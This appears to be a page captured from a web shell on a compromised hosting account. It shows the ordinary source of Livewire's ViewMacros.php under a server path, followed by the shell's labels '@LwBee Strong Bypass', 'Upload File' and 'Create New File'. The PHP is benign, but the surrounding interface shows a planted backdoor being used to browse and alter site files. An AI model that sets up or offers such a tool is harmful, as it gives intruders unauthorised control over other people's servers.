/home/storage/f/3f/a5/aloic1/public_html/core/vendor/livewire/livewire/src/Macros/ViewMacros.php
<?php
namespace Livewire\Macros;
use Illuminate\View\AnonymousComponent;
class ViewMacros
{
public function extends()
{
return function ($view, $params = []) {
$this->livewireLayout = [
'type' => 'extends',
'slotOrSection' => 'content',
'view' => $view,
'params' => $params,
];
return $this;
};
}
public function layout()
{
return function ($view, $params = []) {
$attributes = $params['attributes'] ?? [];
unset($params['attributes']);
if (is_subclass_of($view, \Illuminate\View\Component::class)) {
$layout = new $view();
$view = $layout->resolveView()->name();
} else {
$layout = new AnonymousComponent($view, $params);
}
$layout->withAttributes($attributes);
$this->livewireLayout = [
'type' => 'component',
'slotOrSection' => 'slot',
'view' => $view,
'params' => array_merge($params, $layout->data()),
];
return $this;
};
}
public function layoutData()
{
return function ($data = []) {
$this->livewireLayout['params'] = $data;
return $this;
};
}
public function section()
{
return function ($section) {
$this->livewireLayout['slotOrSection'] = $section;
return $this;
};
}
public function slot()
{
return function ($slot) {
$this->livewireLayout['slotOrSection'] = $slot;
return $this;
};
}
}
@LwBee Strong Bypass
Upload File
Create New File